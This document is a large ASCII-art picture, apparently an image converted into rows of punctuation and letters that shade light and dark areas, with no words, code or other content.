.:;ijjLGEGDGGEKGEKK#KGGGKKWEDEKDGGi;::::::::::::::::.:..:..:..::.::.:.:::::::::::::.::.\n:::::.::::.::::::.:::::::::::.:.::::iifGGDK#EWEKEWK#E#WKWWWKWKWWWKKKK#WEWDGGGLit;;:...:::. :.:;ijLjjjjLGGEEKDEEDGEKDGGEDKKKEEGGi;::: :...:: :::. : ::.::..:::..: .::.::..:::::..:.:.\n::::::.::.::: :.::::::::::::..:.: ::iiGGDEEWKKKKEE#K#KWWWWW#K#EW#KWW#KWEKEGfLf;;;;;: ::: ::::ijLGjtjLLGGKEEEEEDKEDKDEGGGKKEKKDGj;;:;;::::..:....:.: ...:..:....:::...:..:.....::.::.\n:::.:.:::.: ::.:::::.::.::..:: :::::iLGDGDKWKE#KK#WWEKWWWWWKWWWEWWWWKKKKKDDfjj;;,,..:...:.::;jGjjjjLGKEEGEKDDEGDDGGGGfLjGKKEEKGjj;;,;;: :.:.:::...:. :....::.. : ..:::::..::::  ::::\n.:..:..:: : ..:::: :..:: :....: .::ijGDKDGEWEW#EW#EWKWWWWWWKWWWEWKK#KWKKEDGGi;;;,,::.:.: ::;i;t;LEGGDGEGKEGGGLjiji;j;;;;tjGGEKDGjt;.:.:: :: ::.:: :  :.......:..:: :.:.:...:.:...::.\n..: ::..: :..::...: :.: :: :::..:::ifLGEKEKEK##WWK##KKWWWKKKWWK#K#KKKWKWKEKGti;:.:.,.:. : ;ij;;jGGGLGEGGDEGLjj;t;;;;;;;;;;tjGEDGjt;:.. ;:..........::..:.......:  :... :..: ... :...\n..... :  : :.. :.: .: .:  :.. ::::;ifGEEKKE#KKWWWEWK#K#K#K##EWKEWKWWWW#EEEDGi;;;.:.:..:: :;ijitGGLLGEGEKGGGjj;;;;;;,;.;;:;;;LGKEGt;.: :. :..:: ::. :. :... .... :.....: : :::.....::\n :......:. ..: ...::..: ::.....:::;iDEEWEKKKKKKK#WK#KWKW#K##EWWWKW#EKEKWKKEDGj;;;.::.,: ;;ii;jjGGLGGDKGGjLjji;;;,::,:.;:,::,;tjGGLL;................:... :  .:: ::....:..: :: :.....\n.  .::..: : . : :..: :..:: :..:.:::iGDKKKK#KK##E##WWWW#KWW#WK#EKWWKKKEEWEKGEGj;,.:...,..::;;jjLGLGLGEGLGLjjtjt;;;;;.;;.::,:.,;iGDGG;;..............  :..: ::.. :.. : : .: :. :  :..:\n.::..: :..:... ...:: :: :: :  : ::,iGDEEKEK#EWKW#WW#KWK#KWWWWWKEWKKEWDDDKKKDGGi;.:.:,.;::;;itLGLfLGGGGGjjjt;i;;;.;,,::,:...::,;LGGGL;:: .. : ....... : : :....: :: .. :.....: :: ::\n :..::.::.: . :: :  :.....: :: :::ijDGDWEKWWK#KWWW#K#WW#WW#WWWKK#KWKEKKKDKEEGGj;.:...:.,:;;;jLjGLLGKELjLjjt;t;;;,,;:.:.:..:..:.iGGGLj:.:..... :  : ::..... ... :.:......: :  :  :  :\n.. :  :..: :. ::. :.......: :: :::;fGDDDEWKWW##WW#KWWWWWWWWWWE#KWKEWEKEKGDEDGGj;:.:..:.,;i;jjGGLLDKEGLjjjtjt;;;,,;,:..:.:.:.:.:;;LGt;j:.: ..  :....:: :: : : . : . :  :.: :.: :.: .:\n. : .... .:  :  : :.....:......:::ijfDEEWKK#K##K#WW#KWWEWEWWWWWKWEWKEKGGDGEGGjj;.:..:.,;jEitiGGLjGKELjjtijii;;;,;..;:.:.::.:.:..;jGjtt.::  :....: :  :.: :.: ::...... ::......:.:.:.\n:  :  .........: :  :  :  : :...::itGDDKEW#KWKW#KWWWEE##WWKWEWEK#KKEKKDGKGGGGf;,:..:..;jGK;jLGLGGEKEjLjtt;j;;;;,,,::::.;..:...::.jGLj;j ::: :: :: :  : ......:: :: :.:....:.: :.:.:.\n:  ...................: :....:...:;fGDDKEKWEW##W##KWWWW#WW#K#KWK#KKKDKGfGGGGLj;::..:.;ijjjjGGGGDKKEGjLjjLjjji;;;;,;.::.:..:....:.;fGLijj.:: ::.::.... :: :  :  :  :..:.. : ::..:..:\n ....: :.............:: ...:..:  :ijGDKEWWWWWEK#KK#WWWKWE#KKWWK#KWDEGGGGfjGji;...:..;;;;;iLjGLGKKKGLLjLLGGLLLj;;:;:.;:..::.::....:jDLijj.:............. :..: :: :: :.......:: :: ::.\n:  :  ..: .. :  : :: :: ::. :: :: ;fGDEDEWWWKWWWWWWW#WK##WKWWK#KKEDKEDGfGfjL;;.:.,:.:;...;GLLGDDKEGLGLGGLjfjfLj;;;;,..::.:.::.:...jKLt;j;.................. .. : .........: .....::\n :...: :: .. :  : ....: .. ... :: ;fLGDDEKWWKKWWW#K#E#KKWKWKWK#EKEDEGDGGGjji..:.::;.:.:..;LGLGKKELLjjjttt;;;;;;;;;,;..:.:;;;i;::..;KGj;;j; :  : .. :: .. :  .  .. . .. :: . ..  ..:\n ..    . : .. :: :  .. : ....: . :;ffDGEK#K#K#WW##WWWW#KWWWK#KWWEKGDDGfGfjj;.:...:..:..:;jGGGEWKGLfLjtjtttij;.;;;;;.:.::;;;iji;:..;KGf;;;; .. : ...  .... .: . ..: : ..  : :: :... :\n.  .. ... .... . .  .... .  :: :. :LGDDDEK#WE##WW#K#KK#EWWW#KKWKEKDDGDjGfij;.::...::..:;j;iLEDKKGjLjjjtjjLLGLj.;;;;;..:.,:;;;t;j::.EGj;;;;: .:   .. . : ..   ..    : . :. ....... .\n . . . .: ... . . :. . :  ..  . ..;jGDGDKKKKKWK#WKW#EK#WKK#KWWWKEDDGGGjGjjtj,:...:.;..:;;;;;GKKGLLtjjtjjGGEEKD;.,;;;.:.;;,;,:::;;.:DGL;;;;...... : ..   : .:  : : : ...  : .. :.....\n : .  :  . :..  : . ... : .  .. ...iGDGDEKKWE##EWWK#K#KWWKKKWWWEDDDGGGjGfjji;::.:.....::,..:,DKLjtjttLLGELiiEGG;;i;;.:,;;;;jjj;: :.GGj;;;;... .. : .. : : .. .... :   :  : .. :....:\n. : .  ....   :.. ...  . . :   . . ;GEGDDEE#KWW#KWKK#WE##K#K#KKDKGEGGGGjjjjj;:.,..:.:....;,:,;EGLjtjjjjLLLLjLGK;;;;,: ;;;jGDWKG;. .Gjt:,:;: .:   ... : .. : : .   .... :: .........\n .  ... :  . .  : .. .. ..   : . : :GGDEDEWKKWWWEWWKKWWEWWEWKKKDGGGGGjjGjjji;:;:::....::.,:.;;jGLtjttjtjtj;;;;j;;t;;..;;;jiifDW;:.:Ei; :.; :  : .. .. :.........:... ..  : :... : .:\n .. ... . ..  : :   .   .... . .: ..GDGEEKKK#KKKKWWWW#KWWWKEWKKGLL...;jjfjji;,;::.:.. ...:;:;;,;Gtjtj;j;;;;;;;;;jtt;:.:.;;itjjLL; .L::..;...  : .. :: .. :  : ..........: :  : ....:\n. . . ..: .... . ........ .... :....LKLKDKKKWWWWWEWWWK#W#WKKKEELL;:;..,;jjjt;;.;.:.:.:....:;;;;iLjtjiti;;;;,,.;;tji;;:.:;t;;;.;;;..j:. .:. :  :  .....  : .. ..... : ..  : :: :...:\n .. . ... .. : .. :. :: .... ...: :.iGGDEKKWEWWWKWWKWWK#EWKWEKGLt,tt...;;jjj;;:;;:... :. .;;,;;jGjttti;;,,,;.;;ijtt;...:;;;;;..:. .j:  :; .... . ...: ...... : .. : :: :: .::..: ::\n . : . . : .. :: ..: :: :: .. : ....;jGGDKDKKKWKKK#KWWWWK#KKGLLtt,tj,..:;;;;;;:,,:,:.. . ..;,;LKLttjt;t,.:,;:,;ttjt;:...:,.:.:.: . j: .:.  :  : .... :  : :: .. ......:  : :: :..::\n. . ....: : : . : :..  : ....: :: :.:;fGDKDEWWKWEEWK#KWWWWKEGGjf;,ti:,...;;;;;;;:,:..:..:..,;jKELjttt;;;;,,,.;;jtj;;::....:,,:...:.j:..:.. .  .. : .. :: : ........: : ::....:  :  :\n :.......  :...:  :..   :...... ....::iGEEEKEKKWKWKWWK#KEWWELjLj;,,,j;.:.,;;;:,::;:.:......;;KKGLtttt;,;,.;,;:;jjj;;.....:.::... . f;..: ::.........: :: .......: :.:.:: :.......::\n. .... .....: .. :  :  :  : ..... : .::GGDKEDWWEWK#EWWWK#KWGLjjf;;.tLL. ..;;;;;:;:,:...:. .,jEWGLtttt;;;,;:..;tjLj;;:.:...,:.:..: .ii.:.......... :  :  : :: :: :::.::.::.....::.. :\n.......  : . .....  ..: ..:..... .: .:.iGGKKKKKKK#EW##K#WWKGLjtLt,.;ff; .:.;;;;;;:;;:..:.:.:,LEELtjti;;,,::.;ttjtj;,:...;,:::.: . .i;;:::.::.:...:....::: : :::..:.::::..: :..:: :.:\n..: :: :: ... :...  :  :...:..:::..:...;DGEKKEWWWKWWWWWKKKKLjjLfj;.,;t;.:.;,,;,:;.,:,,...::,:jDELtttt;;;:,.;;Ljtjj;;..:.;;.... :.. ;;;::.:.....:..:.:.: :: : ::..::::::::.:.::.::...\n.: :::...................:.:..: : :..:.:jGDEEWWKKK#K##W#WWKLjjjtjt....;..;.;;;;;;.,,..,.:...,;GELtjtt;,;,,:;;jjLLLj;,;..;,,:..: : :;:;:::::::.:.:..:.: :.::::..::.::.::.:.::.::::.::\n::::::.:.:.......:.: :.:.:::::::.:...:::.;GDDEKEWKWW#WW#KKKLLjtjtj;....:,,;;;;;;;.,,:.......;;LKLtjtt;;,,;;it;tiij;.:;: ,;;,..:.: .:.:;.::::...::.:....::.:.:::...: : :..: ::.::...:\n::::::.:: :::: ...:.:.:.. :::.:..:.:.....:LGEDWWWWW#KWKWKEEjjtjjjLt;.. .;;;;;,:,::::..::..:.:jKELttt;;;;:;;ttt;t;;:,:...:;;;.:.. .:::..::  ::.::.:.:::...: .: :.:..:.:.::.:..:::.:..\n.::.:.: ::: : : :.:.:.:..::...::: :.:..:.:LGDDE#WWW##WWWKKGLjjtttjLt;:.:,;,;;;;,,;:::.:..:.:,LGEGjttt;;;;t;tj;ttt;;...:.:;;,:.... :...;..::: : :: : ...::.:: :....:....:.: :.:  :...\n....: : .: :.:...:..: : :::....:: ::..:: :jDWKWWWEWWWWKKDDGjtjttit;;;;;;tt;t;;;,;:,.:.. :..:,;LGLttjt;;,;tLLDDDGGDLff;..::;;:..:. ..: .: :..::: ... ..:: : ...: ::........ :: :.: ..\n.....:.:: :.: :...:: ::.. : :..:: : ..::..fKWWKWWWKEKKKEDGGjji;;t;;;,;;;;ttt;;;;.;....:..:,,;tGLLtit;;;.;tGELLLGLfffLjt,.;;,..:. ::...;... :   :: :. :.: ::: :............:  : .....\n :: :....: :.: ..:  :.....: :: ::.........iEWWWKWWKKKEKEGGGj;jt;i;,,:.;tijt;;;;;;.;.:..:...,:tGLjtti;;,;;;LGLjt;;;t;ffft;;,;:.... :: :: : ....:  : .: ....  : ............ :: :: ::\n:  :  :  :.........: ::...................;GKWEKEKEKEGGGGGjjti;;;;,,.;;;tttjt;;;,:...:...,:;;;LLtjttt;;.;;;DGL,;:...:tfLf;;:..: ..  : :...............:: :  : ...........: :: :: ::\n :: ::.. ::  :  : :: :: :: :  :  : :: :...:iDKGGGGGGGLGjjjjti;i;,,;:;:,;jjttti;;,,,..:..,:,,;:.;jtttt;;,;;itLDGLfft,,,Lft;;,.... :  :. : .. . :  : :...: .  .. :  : :: :: :  :  :  :\n........: .....: :  :  :  ...: :: :  :  :  :LGGGGGGGLLjjjtj;jt;;,;,,.,;;tjtjt;;;;;:,::..::,:,:..;;;i;;;;;;ttjfGDLffjjjjt,;,;:.:.: .. : : .. :: :: ....  : : : : :: .. :  : .. :...:\n :: :: ::.....: : :: :: :: : .......: :: :: ;i;ijjjjjjjj;jtt;i;;,,::,.;;;jjiit;;;,,:..,.,.:;,...:;tiit;;;;;itjfGGLffjti..;;..... .. :. ...: . :  .. ..   :  .. .........: .. : .....\n :: :: :: :  :  : :...: ... :: :: :  :  :  . ::.:,:i::::::;t;;;,,;;::,,:;itjitit;;;;,:,:,,:,;  :..:,;ti;;t;;;;;,;;;,;....;.:..... ::   : .. :: :: :.. :: ... : : .. :..  .....  ....\n:  .......... :: :  : ..........: .. :  .. :..::i;,:;::::.:;;;;,;:::..:.,;;ttt;;;;,;;;:,,,,,, : ...:;t;jiit;;;;;;;,;...:.:..: .: .. :.. ..: :........... .  : .. ....... : :: :: ::\n :: :.......... : :: :: :...  .. : :: :: :itfGDGffjii;::.:. ::;;.;:,:.,::,;;tittt;;;;;;,,,:;.. : ...;;ti;t;;;,,:.::.:: .:.:.... ...: :: :  ..: .. .... ..... :: ::  :... :   : :   :\n .: ...... :: :: .......  ..  .. : :...:ifLDDDWDWWEWKWKWEDf;. : .;:::.,.,;,;;;;t;;;;;;;;;;. . : ..:.:.;;tit;;;:,:..... :.... :  : :: : : . :   : : :..... :..  : .. . :  ...: :.. ..\n :..  .. : :... ..... ....... .. .. .. ;tfGGDEEEKWK#W#KWWKKEGf:.. :,.:...:::;;;:..  ...: ...... .:. ..:;;itt;;:;.::.::. :...: . ..   .. .  ........ . :: ..: .. : : :: .. : .... ::\n . : ..... .. ... . ..... :  .. .. : : iffDDDDDWKKWWKEWWEW#KKKKi...:::,.::;,,:. .. ...  .. ..: ...:.:::;;;;jit;;:;.: ......  ..: ..: ... :..   : : :: ....  : : .. .....:  : : : . .\n..: . : . .........: :.. ..... :: ..: :jffLDEDEEKKKK##WWKKEEKKEDL: ..:,:::.::; :: :.. :..  ... . :.:.:,,;;;itj;;;.:.....:: .. :... ... ..   : :  :  : . .....  : ....: : : :: .. ..\n . ....  ...: . :   ... .... . . ....ijLfLGDDDDKKWWWWKWKKKWEKWEEEKD: ..,.:.::. :..  :.:.. ..  :  :.::.;.;;iititt;;;;:::... :.........  :   :  .....  : : .. :  .... :..  : .... : .\n .. ...  ... : .... : : .. .....: : itjfGDDDEEEKKKWEW#KWWKKWEWEEKDDGi :.::,: .. .... . . : :   : .::.::;;tttjttiti;:;.....    :.. . : . ..  : :   : ......  : : :: :   :.... ......\n..: : .. :   : .  ::   : . :  :   ..fLfDDDDEEDKDEEKKKWWWKWWWEWEEEEEEDj..::.;:  ::  . :  .  : .. :.:.:.;;;titjtit;;:;:...:.... :....: .... ...:  : : .   : ...  : .. ... ...  .... .\n ....... . ....:  :: . :  : . :   : tGfDDEWEWEWWW##WW###W###K#KKEEEEDEf:.,:   : .. ...  .. : ....:.,:,:;;tit;t;,,,.,...... .:    .... . : . .: . .  . . :  ...: . :   ... ... . . .\n .. :: :: : . . : .... .........:  :ifffDDEEWEK#KEW#WK#WWWW#W#WWEKEEEEKf.:.  : . :   : . .. ..  . :,:;;;jttt;;;;,::....:. :  : : .. : . ... ... . :  ... ..  .  .. : .. . ..... .. .\n........ : .. :. : . ....: ........:ffffGLDDDKKKWK#E##W##W#W####WKWDEEEEf ..: ... :.. .. : ... : ..::.;;;j;;i;;:;::.::....    .  ........ : . ... ........ : .... . .. :...  . . ..\n .. ::   : .... ... .  .. : :: .:iiffffGDGDDEDKKKK#KK#WWK#KK#KKEW##WKDWDEi.... .... ... .....  : ...:,;;tti;i;;,;.:.,::.:,:.  :. : .......: .. :...  : ....:   :  : :: .. :  :  .\n....  : ....: ... .: :..   : .::tifDGLfGDDDGDDWEWKWKWWWWWWK#WK#WEKK##KDEWEi  : :.. .. :...: .:  ...,;;;;iti;;;;,.;:..:.:::::..  : ::..: :  :  : ..... : : .........:. :...... ::..:.\n..: :... ....... ........... iiiitfEDDDfGDGGDDEEWWWWWWKKWWWK#KKEWEEED#WEDDG: .... :: : ....... : . ,;;;;j;t;t;;,;..:::..:.;....: : ... : .. :: ....::..: :  .....: : ....:.  : . ..\n... :: :: : ......:: :...: :ititifLDGDfLGDfGLDWEWWKKK#EWK#KKKK#KKKKEKDWKEDDf.............  :  : . :;;;;tt;tt;;;:,..;..::.;.;;.:: .:::..::. :..:.:.....:..:. :.....::..:::...::.:: ..\n ::.:: ::... :. :....:...:tDLifjtfDEDGGDDffffDKWEEWEWWEWWEWWEKKWKKEWEKEDEEDG:.: .:::....:::.:.: . .;t;ttt;ttt;;:;..,.:.,.:;;;;;.:. ::..::.:.:::::.::::::::::..:::.::.::::::.:.::.::.\n: .:  : .:::.:.:: :: :: :iDDfifffGDEDLLDLLffLDKEKKEWEEWEKEKKKWKKWEKWEWWEKDDLL..:: :..::::.:: .:  . ;t;itt;tt;t;;,;,,.,,,:,;,;,;;;::   ::::: ::..:::..:::.::.::.:.::::.:.:.::::::::::\n.: :::.::: .:.: ::..:.:;iGDLtfffLDGDfLGLGLffGDKEKEWEEEDEKKKKKKEEWWKK#KKKKEDDLfff;::.::.:.:.::: :  .;;ti;ijit;;;,;:.,..,:;;;;;,;;:;::.. :.:::.::.::::::.:::::::::::.:.:::.::::.::.:::\n.:.:..::::.::::::.:.::tfGGfftDffLDfDGfffLLfDKEEDEEDKEKKKKKKEWEKWKKEWEWWEWKEKDDLDi::::::.::::: . . .;;;;i;j;;t;;;;..:.::;;;;;;;i;;:.. :..     .:::::::;::::;;:::::;:;:;:::;:;::;;::;:\n:.:::::.:.::::.:.:::iitDfGfGfLffGLDDfLGGffDEDKEDEEWKKWEWWEDWEKKKKKKKKKKKKWEEEDDLi::;::::::::. .....:;;t;;titit;,,,;.;,;,;;;;;t;;;::.:..::.::.  ::;::;::;i;,:ii;i;i:i:::;;:::;:::;,,;\n:::.:::::::.:::.:::iitfDfGDfDDfffDGDLDLLLGKDKEKEEKKKKKKKKKEEKKKK#KWKKEEKKEWEDEDLLi;:;:;:;::: . .  .,;;;;j;tt;;;;;;:;::;;;;;;;;;.:;::.:::;;;:::..;,:ii,i,;iiii,iiiii:i:i::i:;i:ii;iii\n;iii;;:;;:;::;:iiiijffKffGfLWGfLDGDLLDGDDEEEEDWEKKKKKKK#EKKKWE##WKKKKKKKEKDEDEWEEDDii;i::  : : .: :,;;;;j;t;;t;;:;;;;:;:;,;;;;;;;;:;,:;;;;::::.:.::ii:i,;,;;i:,i::i:i;,;:i:::;,,;ii,\n,;,;,,ii;,;,,:iiittttGDtGDfD#LLGLDfDLDGDEEDEDWEWEKKKKKKEEKDKKKKEWW#KKWKEWDKKKWEWWEEEGt:     :...:. ;;;;;;jtt;;;:;;;;,;;;;,;;;;;j;:,,:;,;;;;,::.:: :::;:;;;::,;;:i;,;:::,:::;::,:i::;\niiii;;;;:i,;;iG,itiffWLfDLDWEDfLGDDLDDDEKKEEEEEKKKKKKKKKEWEKKKKWKKKKKWWEEKKK#EWEEKDEEDG . ...:.:. :,;;;;t;;;;;,;;;;;;;;,;;;;itj;;;:;;;;;;;::....:  ::,;::,;:;::;::::::;:::::;::::;i:\n;,,;;,;ii:i:LEttijffDWffDDDWWDGLGDfDGDEEDEEEKEEWEKEWEKKKWEWWEWEE#WWEWEEWEKE#EWEKDEEDEDEi. ...::;:..;;;;t;;;;;;,;;;;;;;;;;;;;tij;;:;;,;i;;;;.:.:. .: ::::;:::::::::;::::::::::::;::::\n:::::::::::jGiittffDKWtLDEWKKDLDLLDLGDDEEDDKKEKEWWEWEKKKWEWWEWKWW#KWKKEKK#KKEWEWDEEDWDKEDj::..: : ;,;t;;;;;;;;;;;;;i;;;;;;;;;j;;,:;;;;;i;;,:..:.: : ::::::::::::::::::::::::::::::::\n::::::::::tKjijtffjE#EffDKKKDDGfGLGLDDEKDEDEKKWEWEWEWWEKKKKW#E##KWEWKKEWWEWEKEEEKKEKDEDEED.:::.:.:;;;;:.;;t;;;;;;it;;;;;;i;it;;:;;,;;;;;,;:.:.. . . :::::::::::::::::::.:::::::::.:.\n::::::::::D#iftffffWWDfGDKKKEDLDLLLLLDDDEEEWEKKEWWEWEKKKKKKKKW#WWKKKKKEWKEWEKKKKEEEKDEEDED::....:,;;;,:;;t;;t;;i;;;i;;;;;;;;j;;,;,;;;i;;;;;.::... : :::::::::::.:::.:.::::...::.:...\n:::.:::::EKfffjfffGWWLjDDEWDEDGfLLGGGDDDEEKKEWWEWWEWEKKEEWEWW#KWWKKKWEWWKWEKKKEKEEDEDKEKDED;..;::.;,,;;;t;;;;;;;;;;;;;;;;;;;;;;;;:;;;i;;,;:.::.. . .:.::::::::::::::::.::.:..::::::.\n..:.:.:.jWGfffffjfD#DDfDEKKEEDLDLLGLDDEDEKDEKKWKEEWEWWEWKKKKK#W#EWKWEWWK#WKKEKEEEEEEKDEDEDDt ::.;;,;:;;;;;;;;;;;;;;i;;;;;;;;,;,;:;;;i;;;;,.:.. :.:. :::.:::.:...:..:::.::.::::::..:.\n:::.:::.DKfGfffffLEWDDfDEKKEEGfDLDLGDDEEKDKKDWWEWWWWKKWEE#W#WK#WWWWKK##EWWEKKKEKEEEDEKEKDEED:..;:;;,;;;;;;;;;;;;;;;;;;;;;;;,;;;;;;;;;;;;,;:.:.:  ....:::: ::::::::::::::::::::::::.:\n:::.::::WfDLLffDfGKEDDfDEEWEDGDDDGGLDEDEEKKKEKKEWWEWWEWEEW#E#WEWWWKWWWKKKEKKKEDKKEWDEKDDEEEDG,::,:;,;;;;;:;;,;;;;,;:;;;,;:;,;;;;;i;;;i;;;,:.::. .....::.:..::::.::::::::;::;:;:;::::\n: :::: iELDDfffGfDWDGEfDDEDKEDLDDfDDDEDKEDEDKKKKWE#KWWWW#KK#WE#WW#KK#E#EWWEWKKKKKDEEKDEEDKDED::;:i;;;;,;:;::;;;,;;,;;;:;;;;;;;;;;;;;i;;,:,.:...... .::.:::..:..:::::::;;:;,;i:i,;i;:\n:::.:::fGDDDGffLjD#GDEfDDDKEDGDDLDGLEEEDKEDKKKKKKKKKKWEWWK#E#KK#WKW#KWKWEKKKKKKEKKKKEKDDEDDDD.:;GG;;:;;::;::;:;;:;;;;;;,;;;;;i;;i;;j;;;;;::.:: .. ..:.:.:.::::::.:::;;iiii;i;i;;i;i;\n.:::...DGDEWLtGffD#LDDfGEEDEDLDDDfDDDEDKDEEKKEEWKKWE#WKKKWEWKK#K#W#K#W#K#WKKEWEWKEDDKDKEEDEDE::jWG;;;;:;,:;;,;;:;;:,;,;;;i;ii;;;;;i;i;;:.:... :  : ...:..::..::::::;:iiiiiiiiiiiii;i\n:.::..fWDKKKLfDtLKWLKDfDDDDDGLDDDGDDEWEDEKEWEKKKKE#EWWKWKWWKKKW#KEWK#KWW##KKKKKDKDEEEEEDEDDDD::;;it;;:;:;;::;;;;;:;,;;;;;;;;tji;;;iti;;:...: ...... ....: ::......::;;iiitijiiiii;i;\n.:::.:GWEKKKDfDiDEWGKKfGDEDDEGDDDGDEKDEKKDKEEWWKKKKWEK#KWWKWWWWW#KWWWKWKKKKKEWEKKEWKKEKEKDDED;:::;;;;:;:::;;;,;:;;;;;;;;;i;;;jji;iti;;:;;::.:..  . ...:...: :.:.:::::iiiiiiii;iiii;i\n:...:iKDEW#ELDDiDWEDEKfDDGDEEDDDDDDEEEKEDKKEWEWKWWKKW#EWWWKKWE##KWEWWWWW#WWKKKKKKEDEEDEKDEEDDi.:;;;;:;:;;:;;,;:;;;;;i;;;;;;;tLjj;;;t;;;::.. . : ...:: ::....:  :.:.;:i;iiii;ii;;iii;\n.....fWLW#WEDDDjDKDKKKfDEDEWDDDEEEKDEEKEDWKKK##EWWKKWW#WWKKKWW#WK#WKWW#KWWWWWEKKKKEKDEDKDEKDE;:;::;:::;:;:;;;:;;;;;;;;;;;,;;jLj;;i;i;;;,.:...: : :.::..: : ....:.::::;iiiii;i;ii;i,;\n:..: GWLWWW#DDLfDDLKKKLGDEDEDEDDEDEKKDEWDEWEWKK#K#KWWWK#KKKKWWWEWWK#WKKK#KKEEKKKKDEEKDKEDEEDEi;:;;:;:;:;:;;;;;;;;i;i;;;;;;;;jGji;ti;;;,,:...:. .. .. :  :.::......:::;iii;iii;i;i,i;\n :..:DEDW#WELEffDDDWKKfDEEDKDGEDDWDKDKEEWEEWE#KKWWK#W#WWWEK#W#WK#KKK#KWEWWEWWKKKKKKEKEDEKDDDEj::;:;:;:;:;;;tLGGGLL;;;;;;:;,;LLLti;t;;;;:.:.. : :...::..: : t,....:::;:i;ii;i;,;i;i;,\n :...EEK##WEDDfLDEEW#DfDEEKDGDDDDKDEDKEDKWWWWKKKKE#WEW#EEKEWWW#K#W#KKWKKKKWEWKKKKKEKEEEEEDDEDj;:;:::;,tLEEEEEEKEKEDj;;;:;;;;ELj;i;t;;,:.:... : . .:::....,D,: ...:::;ii,ii;,;,ii;i,:\n: ..iWDE#K##EDffGDKKWELDDDEDDDEDKDEKKEEKKEEWWK#WW#KW#WW#WEKW#K#WWWWK#W#WEKKWKK#KKKEEEDEEEDEDEi:;::,;fGEEEEEEEEEEEEEDG;;;;;;;GGjtti;;;;;:.:: : : .... : .,jD..::...:::,;ii:iiii;:iii;\n : iEDEWW#WEEDjfDEE#EDfDDEDGDDEDDKEDKEWWEWWEWKKEWK#WWW#WEKW#K#W#W##KK#EWWWWK#WEWWEKEDEDDEWEEGj;::;jLEEEEEEEEDDEEKWEEEf,;,;;;GLjt;;i;;,:.:. .  .  :.::..,iDL :  : :::;ii;i;i:;,iii;;,\n::iWWWEE#K#WDLfLEDKK#DGGDDGDEDEDKEEKKKKKWWKK#KWW##WWW#KWKK#W#W#W#KWW#EWKWWKWWE#KKEKDEEDEDEDEDi;,tLLDEEEEEEDEDEDEEKKEEDEf;;;iELjij;;,;;,:.::..: :: : . ;ijG, :  :..:::i;,,;ii;i;,;ii;\n :W#KWEEW##WKLfGDKKEWDLDDDDEDDEEKDKDKKKWKWKWWWE#KK#W#WWWWWWW#KWWWWWWWWE#WWWWK#K#KKEEDEKEEEKDEffLGEEEEEEEDEDDDDDDEEWKKEEDDf;fDjtiti;;:;.:...:. .  ...:iijDi. : . ::::;ii;i;i;i;,i,;i:\n:f##DWDWWWWKELfGDWWWEELDELDDEEWEDEKKWWWKWKKWKKWEWK#K##EKWW##K#EW#WEWWWWKK#KWKKWEKEKEEEEKEDEKDLDEEEEEEEKDDDDDDDDDDEEKEEEDDELLGLjt;;;:,::.:.. ..: ....,ijDf....  : :.::;iiiii,ii;;iii;\niEW#DWEEW##KDDfDEKKWKDLDDGDEDWEDKEWE#WKKWEKKKEWW#W#W##WKW#W#KWK#E##W#WW#WWWWWW#WKEDWDKEDWEEDEDDEDEEEDEDEEDDDDDDDDDEKKKKEDEEKLjj;i;;;;::.:..... : ::.jijDj.: :.: :::::i:ii:i;;iiiiii:\nEWW#D#EEW#WWDDfDEKKWEDfDDDEDEWDEEKKKK#WKWKKKKKWWW#W#K#KWW#WWE#EWWW#E#W#WKWWWWKKKDEKEEKDDEEDWEDEEEEEEEDDEDDDDDDDDDDEEKKWKEDDWLjt;;;,;:,.:..... :.:.,tijLf. :.......::::;,:;,;,;;;,;;:\nK###DWKK#W#EELfDK#KKKGGDEDDEWKKKKEW##WWWWWEKEW#K#WW#WKK##K#E#WKW#WWW#KW#KK#WKKKEKKDEDEEEWDKKDDEEEDEDDDDDDDDDGDDDDDDEEEKKEEDEGLt;;;;;.::... ... .,,iijjDi :  ....::::::::i:::;::::;::\nEWW#D#WDWWW#DLLDKWEKKGGDDEDEKWEKKKWKWW#WWEEWEWWWWWWWWWE###WW#KKWWWW#E##K##WWWWEEDEEEDKDEEKKEEGEGEDDEDDDDDDDDDDGDGDDDEWKWKEEDLjt;;;;.,....::.....,t,ijfD,...: :.: .:.::::::::::::::::\nWEW#E#WEW#WWDGLDKKKWDLLDGDEDKWEKK#WW#W##WKEKEWW#KWWWKWWWW#W#WEW#W##K#WW#KW#WWEEEDEEDEEEKKKEEDKEDDDDDDDDDDGDGDDDGDGDDDEEKWWEELft;;,;;:...:....: .i,ijGDD.... .......: .:..:.:::.:.:::\nE##WE#EWWWKWDDfD#W#WELDLGEEEKKKEK#W#WW#EWEWEWWWWW#WWKW#WW##WWWWWWWWWWWWW##KEEDKEKKKEEEEK#WWEEWWEDDDDDDGGGDGDDGDDGDDDDEKKEKEWDft;;,:.:.: .... . .i,jfDDf: ....::..: :.... ::...:::...\nKE##W#WEW##WDGfDWWWKDLDfDEEEKKEKKWKW#W#WKWEWEWKK##EW#W#K##WW#EK#W##W#WWWWK#WEKEWEKEDEEKWWEEDK##WEDDDDGDDDGDGDDGDGDDDDEEEKWKEEEf;;;::.::.: ... ..iijLDDi: :..:  :  : ::.:: :.:.  : :.\nWE#KKWWD#KWEDGLEWWWEKfLDDDKKKKKK#W#WK#KWKKEWWKW#WK#WEW#WWW##WE##K###E##W#KKEEEEKWEWKEWKWWWEE###WKDGGGDGDGDGDDDDGGGDDDDEEKEKKEED;::;:.....:.. ..,iiLLDD;......::..:... ...: : ::: ::\n#KK##WWEWWEWDDLEW#KEEfDDEKKKKWE##W#WK#KWKK#KW#WWWE#W##W#W#WW#EWWW##WWWW#KEKEEDEKKWEEWW#WEEDE####WEDGGGGDDGDGDGGDGGDDDDEEEKEWKEEf;::.:. .: . . .iijLDDi.: : ....:..: :: :..: ..:: ::.\n###KW#WEW##WDDfKEW#WDLLDKKDKEWWKWW#K#W#K#KKWKKKWW#K#KK###W#W#K#W#KK#W##W#EKDKKEEKKKKK#KWWEDKWWW##WEDDGDGGDGDGGGDGDGDDDDEEKKKKKKD,.;:..: .......tjfGDD,....:: :.....: ....: :.:  : ..\n#WW#KWWDK#KWDDLD#W#EDfDDKWEWEKK#W#K##K#EWKWKK#KWWKW#KW#W#W###KKWWWW##W##WWEKDEEWKKKW#W#EKDEE###W#WKDGDGGGDGGDGGGDGDGDEEEEEKKEEKDf,,:.:.:. ... ,jjLDDf ::... :.:....:.:.:...:..::....\n#K####WD#E#EDDLEW#WEDfGEWEWEW#K##K#WW#EWKKWEWWWK##W#WW#W#WW#W#K#K###W#WKKEKDKEWK#W##W#WEDEKEW#WKWW#KDDGGDGGGGDDGGDDDDDEEKKEKEKEEEi;.:.:.. ....ijLLDD,.. 